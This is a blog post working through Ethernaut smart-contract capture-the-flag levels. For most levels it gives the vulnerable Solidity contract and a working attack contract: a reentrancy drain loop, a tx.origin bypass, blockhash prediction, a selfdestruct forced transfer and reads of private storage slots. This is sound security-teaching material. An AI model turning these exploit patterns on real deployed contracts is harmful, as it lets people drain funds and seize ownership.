Tritium

Tritium

Exploring Ethernaut

If you want to seriously get started with blockchain, let's first work on this playground.

Fallback#

This challenge has two requirements:

  1. Gain ownership of this contract.
  2. Reduce its balance to zero.

Let's take a look at the contract content.

function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

These two functions can control the ownership. You can first send some ether to the contribute transaction to make your contribution greater than 0, and then calling the receive transaction will allow you to gain ownership.

The receive function is the fallback function in Solidity, which is triggered when a non-existent method is called externally.

Untitled.png

So, set the amount of wei to send in Remix, and then click on the low-level interaction below to send an empty transaction.

Untitled.png

This way, you successfully changed the owner to yourself.

Then call the withdraw function to extract the entire balance to meet the requirements.

Fallout#

The requirement is still to get the owner.

function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

This function directly provides a way to change the owner; just call it.

Coin Flip#

This is a coin-flipping game where you need to guess the result correctly in a row. To complete this level, you need to use your superpower to guess correctly ten times in a row.

function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }

Notice there is a revert function; it will trigger a rollback and cancel this transaction, but we don't need it here.

The method to determine heads or tails is blockValue / FACTOR == 1 ? true : false, so we can perform this calculation in advance and substitute the result.

CoinFlip public coinFlipContract;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _coinFlipContract) public{
        coinFlipContract = CoinFlip(_coinFlipContract);
    }
    function guessFlip() public {

        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue/FACTOR;
        bool guess = coinFlip == 1 ? true : false;

        coinFlipContract.flip(guess);
    }
}

This way, you can guess correctly 100% of the time; just call it 10 times.

Telephone#

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

The requirement is to bypass tx.origin != msg.sender.

tx.origin is the address that initiated the request, while msg.sender is the address that called the contract.

So you can write a third-party contract to call the target contract through this contract to bypass the restriction and gain ownership.

For example:

contract attacker {
    Telephone telephone;
    constructor(address _contractaddr){
        telephone = Telephone(_contractaddr);
    }
    function attack(address _owner) public{
        telephone.changeOwner(_owner);
    }
}

This way, you gain control.

Token#

This contract basically implements a tradable token.

The transfer function does not use SafeMath, which may lead to arithmetic overflow.

function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

For example, if I currently have 20 tokens and I send 22 to a random address, my token balance will overflow and become extremely large.

Untitled.png

like this.

Delegation#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

The challenge actually exposes the Delegation contract, which forwards requests to the delegate function through delegatecall.

The code at the target address executes in the context of the calling contract, and the values of msg.sender and msg.value do not change. This means that the contract can dynamically load code from different addresses at runtime. Storage, current address, and balance still refer to the calling contract; only the code is extracted from the called address.

So you can first encode the data for the pwn function and directly pass this data during the transfer, allowing access to pwn through the fallback to modify the owner.

Force#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

?

The goal of this level is to make the balance of the contract greater than zero.

This contract does not implement a payable function, nor does it have a receive or fallback function, so it cannot be transferred directly.

For a contract, there are several ways to transfer to it:

  1. The contract implements at least one payable function, and then ETH is sent when calling the function.
  2. The contract implements a receive function.
  3. The contract implements a fallback function.
  4. Through selfdestruct().
  5. By receiving ETH as a miner's reward.

The selfdestruct function will destroy a contract and forcibly transfer the balance in the contract address to the target address.

Clearly, we can only use the selfdestruct function to achieve a forced transfer, so we need to write an attack contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract attacker{
    function attack(address  payable _addr) public payable {
        selfdestruct(_addr);
    }
}

So, just attach the transfer during the attack.

Vault#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

Here, you need to guess the value of the password. I think this might be similar to reverse engineering and can be directly decompiled.

By reverse engineering, it is found that the password is stored in slot 1 of this contract, which can be accessed directly via web3.eth.getStorageAt("0xc0d3b189eDa39e0825D61413bDE0B34db919d580",1) to retrieve the password and input it into unlock.

King#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

It seems that we need to set the prize to the maximum uint value to prevent msg.value from being greater than the prize.

However, the maximum uint value is 2^256-1, and I don't know how much ETH that is, so I just sent one.

Okay, I lost one ether, and it didn't work.

After looking at the solution, it is necessary to revert after calling this transaction.

contract BadKing {
    King public king = King(YOUR_LEVEL_ADDR_HERE);
    
    // Create a malicious contract and seed it with some Ethers
    function BadKing() public payable {
    }
    
    // This should trigger King fallback(), making this contract the king
    function becomeKing() public {
        address(king).call.value(1000000000000000000).gas(4000000)();
    }
    
    // This function fails "king.transfer" trx from Ethernaut
    function() external payable {
        revert("haha you fail");
    }
}

I'm out of money now; I'll do it again later.

Re-entrancy#

The challenge is a classic reentrancy attack.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

(bool result,) = msg.sender.call{value:_amount}(""); this line has already executed the transfer operation, but balances[msg.sender] -= _amount; has not yet been executed.

So, write an attack contract like this:

contract attacker{
    Reentrance cont;
    uint public targetBalance;
    constructor(address payable addr){
        cont = Reentrance(addr);
        targetBalance = address(cont).balance;
    }
    function attack() public payable{
        cont.donate{value:targetBalance}(address(this));
        withdraw();
    }
    fallback() external payable{
        withdraw();
    }
    function withdraw() public{
        cont.withdraw(targetBalance);
    }
}

This will allow for a loop withdrawal, extracting everything.

Elevator#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

The requirement is to make top true. It seems simple; we need a function that returns false the first time and true the second time.

The corresponding attack contract:

contract Building{
    uint public isused;
    constructor(){
        isused = 0;
    }
    function isLastFloor(uint floor) external returns (bool){
        if(isused == 0){
            isused++;
            return false;
        } else{
            return true;
        }
    }
    function useElevator(address addr) public{
        Elevator elev = Elevator(addr);
        elev.goTo(1);
    }
}

Privacy#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(block.timestamp);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

To find the data from storage and read it, similar to the Vault, we first reverse engineer it. By reverse engineering on the Mumbai network, I found that the data exists in storage slot 5.

Untitled.png

Use web3.eth.getStorageAt(contract.address,5) to check the data and retrieve the key, which is the first half of data in bytes16.

Gatekeeper One#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

The goal is to pass three gates and take down the entrant.

First, for the first gate, using a contract call can bypass it.

The second gate requires a special value for gasleft.

Untitled.png

Typical CTF thinking 👍👍👍

Boom!

The third gate requires a type conversion.

Untitled.png

In simple terms, it constructs a mask for its own address, requiring corresponding bits to match.

Finally, compile it with a suitable compiler version and deploy it.

GateKeeperTwo#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

The first gate: classic msg.sender != tx.origin.

The second gate requires extcodesize(caller())=0 according to the documentation.

The idea is straightforward: if an address contains code, it's not an EOA but a contract account. However, a contract does not have source code available during construction. This means that while the constructor is running, it can make calls to other contracts, but extcodesize for its address returns zero.

This means that by calling other contracts in the constructor, we can satisfy this requirement.

The third gate requires that the attack contract address XORed with the gate key equals the maximum uint64 value.

The maximum uint64 value is a value where all bits are 1, so we can XOR uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) with 0xFFFFFFFFFFFFFFFF to get this key.

The final attack contract is:

contract gate2 {
    constructor(address _gatekeeper){
        GatekeeperTwo gate = GatekeeperTwo(_gatekeeper);
        bytes8 gatekey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xFFFFFFFFFFFFFFFF;
        gate.enter(gatekey);
    }
}

Naught Coin#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = block.timestamp + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0') {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(block.timestamp > timeLock);
      _;
    } else {
     _;
    }
  } 
} 

This constructs an ERC20 token and overrides the transfer function to add a time lock.

So we need to use the transferFrom function to transfer the tokens from the player's account.

Use contract.approve to approve transferFrom.

The parameter for approve should be your own wallet.

Then use await contract.transferFrom to transfer all tokens.

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.